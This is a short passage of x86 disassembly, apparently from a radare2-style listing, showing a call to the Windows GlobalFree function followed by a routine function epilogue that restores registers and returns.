call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20